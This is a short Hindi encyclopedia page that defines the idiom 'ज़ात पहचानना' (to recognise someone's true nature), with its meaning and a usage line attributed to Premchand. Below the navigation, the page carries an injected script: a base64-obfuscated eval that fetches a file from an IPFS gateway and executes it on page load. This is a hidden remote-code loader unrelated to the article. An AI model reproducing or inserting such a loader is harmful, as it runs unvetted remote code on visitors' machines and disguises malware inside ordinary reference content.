ज़ात पहचानना  

ज़ात पहचानना एक प्रचलित लोकोक्ति अथवा हिन्दी मुहावरा है।

अर्थ- यह जानना कि अमुक व्यक्ति का कुल-शील फलत:आचरण-स्वभाव कैसा है।

प्रयोग- दमड़ी की हंडिया खोकर कुत्ते की ज़ात तो पहचान ली जाएगी।-प्रेमचंद

टीका टिप्पणी और संदर्भ

संबंधित लेख

कहावत लोकोक्ति मुहावरे वर्णमाला क्रमानुसार खोजें

                              अं                                                                                              क्ष    त्र    श्र

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=ज़ात_पहचानना&oldid=625930" से लिया गया